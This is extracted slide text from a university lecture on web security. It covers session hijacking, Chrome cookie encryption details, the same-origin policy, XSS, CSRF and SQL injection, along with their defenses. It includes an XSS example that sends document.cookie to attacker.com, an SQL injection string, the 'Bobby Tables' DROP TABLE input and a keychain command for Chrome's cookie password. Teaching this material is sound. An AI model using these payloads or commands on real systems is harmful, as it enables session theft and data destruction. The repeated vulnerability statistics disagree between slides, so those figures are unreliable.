Lecture 26: Web Security
2015 Security Incidents
Vulnerabilities by Year
Vulnerability Occurrence in Applications

- **Session Management**: 72% (2013), 58% (2014), 64% (2015)
- **Cross-Site Scripting (XSS)**: 62% (2013), 68% (2014), 51% (2015)
- **Web Server Vulnerabilities**: 33% (2013), 31% (2014), 41% (2015)
- **Cross-Site Request Forgery (CSRF)**: 24% (2013), 23% (2014), 16% (2015)
- **SQL Injection**: 28% (2013), 29% (2014), 14% (2015)
Vulnerability Occurrence in Applications

- **Session Management**: 72% (2013), 58% (2014), 64% (2015)
- **Cross-Site Scripting (XSS)**: 62% (2013), 68% (2014), 51% (2015)
- **Web Server Vulnerabilities**: 33% (2013), 31% (2014), 41% (2015)
- **Cross-Site Request Forgery (CSRF)**: 24% (2013), 23% (2014), 16% (2015)
- **SQL Injection**: 28% (2013), 29% (2014), 14% (2015)
HTTP Basics

GET /index.html HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Date: Fri, 17 March 2017 10:10:00 EDT
Content-Type: text/html; charset=UTF-8
Content-Length: 138
Connection: close

<html>
<head>
  <title>An Example Page</title>
</head>
<body>
  Hello World!
</body>
</html>
Session Management
Cookie Side-jacking

SSL(login)
SSL(redirect; set-cookie)
Request; cookie=SID
FireSheep (October 2010)
SSL by Default (top 10k)
Cookie Forgery

SSL(login)
SSL(redirect; set-cookie)
Request; cookie=SSID
Cookie Forgery
Cookie Theft

- Malware sometimes targets local browser state
Chrome Encrypted Cookies

- salt is 'saltysalt'
- key length is 16
- iv is 16 bytes of space b' ' * 16

- on Mac OS X:
  - password is in keychain: security find-generic-password -w -s "Chrome Safe Storage"
  - 1003 iterations

- on Chrome OS:
  - password is in keychain: "security find-generic-password -wga Chrome"
  - 1003 iterations

- on Linux:
  - password is peanuts
  - 1 iteration

- On Windows:
  - password is current user password
  - CryptProtectData uses 4000 iterations
Vulnerability Occurrence in Applications

- **Session Management**: 72% (2013), 58% (2014), 64% (2015)
- **Cross-Site Scripting (XSS)**: 62% (2013), 68% (2014), 51% (2015)
- **Web Server Vulnerabilities**: 33% (2013), 31% (2014), 41% (2015)
- **Cross-Site Request Forgery (CSRF)**: 24% (2013), 23% (2014), 16% (2015)
- **SQL Injection**: 28% (2013), 29% (2014), 14% (2015)
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    <title>CS 5430 Spring 2018: System Security</title>
    <link rel="stylesheet" href="style.css" />
    <link rel="shortcut icon" href="http://www.cornell.edu/favicon.ico" />
  </head>
  <body>
    <div id="canvas">
      <div id="header">
        <div id="info">
          <a href="http://www.cs.cornell.edu/courses/cs5430/2018sp">CS 5430</a><br />
          System Security
        </div>
      </div>
    </div>
    <div id="menu">
      <ul>
        <li><a href="index.html">Home</a></li>
        <li><a href="syllabus.html">Syllabus</a></li>
        <li><a href="schedule.html">Schedule</a></li>
        <li><a href="project.html">Project</a></li>
      </ul>
    </div>
  </body>
</html>
Domain Object Model
Same Origin Policy (SOP)

Data for http://www.example.com/dir/page.html accessed by:

- http://www.example.com/dir/page2.html ✔
- https://www.example.com/dir/page.html ✗
- http://www.example.com:81/dir/page.html ✗
- http://www.example.com:80/dir/page.html ✗
- http://example.com/dir/page.html ✗
SOP Exceptions

- Domain relaxation: document.domain
- Cross-origin network requests: Access-Control-Allow-Origin
- Cross-origin client-side communication: postMessage
- Importing scripts
Cross-Site Scripting (XSS)

- Form of code injection
- evil.com sends victim a script that runs on example.com
Reflected XSS

1. visit web site
2. receive malicious link
3. click on link
4. echo user input
5. send valuable data
Reflected XSS

• Search field on victim.com:
  • http://victim.com/search.php?term=apple

• Server-side implementation of search.php:
  
  ```html
  <html>
  <title> Search Results </title>
  <body> Results for <?php echo $_GET[term] ?>: ...</body>
  </html>
  ``

• What if victim instead clicks on:
  
  ```html
  ```
Reflected XSS

User gets bad link

User clicks on link

Victim echoes user input

www.evil.com
http://victim.com/search.php?
  term=<$script>...</script>

www.victim.com
<html>
  Results for
  <script>
    window.open(http://attacker.com?
      ...
      document.cookie ...
    )
  </script>
</html>
Stored XSS

1. Attack Server injects malicious script.
2. User Victim requests content.
4. User Victim steal valuable data.
Stored XSS attack vectors

- loaded images
- HTML attributes
- user content (comments, blog posts)
Example XSS attacks
XSS Defenses

• Parameter Validation
• HTTP-Only Cookies
• Dynamic Data Tainting
• Static Analysis
• Script Sandboxing
Vulnerability Occurrence in Applications

- Session Management: 72% (2013), 64% (2014), 62% (2015)
Cross-Site Request Forgery (CSRF)

1. establish session
2. visit server (or iframe)
3. receive malicious page
4. send forged request (w/ cookie)

User Victim

Server Victim

Attack Server
CSRF Defenses

- Secret Validation Token:
  - <input type=hidden value=23a3af01b>

- Referrer Validation:

- Custom HTTP Header:
  - X-Requested-By: XMLHttpRequest

- User Interaction (e.g., CAPTCHA)
Vulnerability Occurrence in Applications

- Session Management: 72% (2013), 64% (2014), 58% (2015)
SQL Injection

- SQL Injection is another example of code injection
- Adversary exploits user-controlled input to change meaning of database command
SQL Injection

Web Browser (Client) ➔ Web Server ➔ DB

Enter Username & Password

SELECT *
FROM Users
WHERE user='me'
AND pwd='1234'
SQL Injection

What if user = “' or 1=1 -- ”
SQL Injection

Hi, this is your son's school. We're having some computer trouble.

Oh, dear - did he break something? In a way-

Did you really name your son Robert'); DROP TABLE Students;-- ?

Oh, yes. Little Bobby Tables, we call him.

Well, we've lost this year's student records. I hope you're happy.

And I hope you've learned to sanitize your database inputs.
SQLi in the Wild
Defenses Against SQL Injection

- Prepared Statements:

```java
String custname = request.getParameter("customerName");
// perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";

PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
```

- Input Validation:
  - Case statements, cast to non-string type

- Escape User-supplied inputs:
  - Not recommended
Vulnerability Occurrence in Applications

- **Session Management**: 72% (2013, 58% (2014), 64% (2015)
- **Cross-Site Scripting (XSS)**: 62% (2013, 68% (2014), 51% (2015)
- **Web Server Vulnerabilities**: 33% (2013, 31% (2014), 41% (2015)
- **Cross-Site Request Forgery (CSRF)**: 24% (2013, 23% (2014), 16% (2015)
- **SQL Injection**: 28% (2013, 29% (2014), 14% (2015)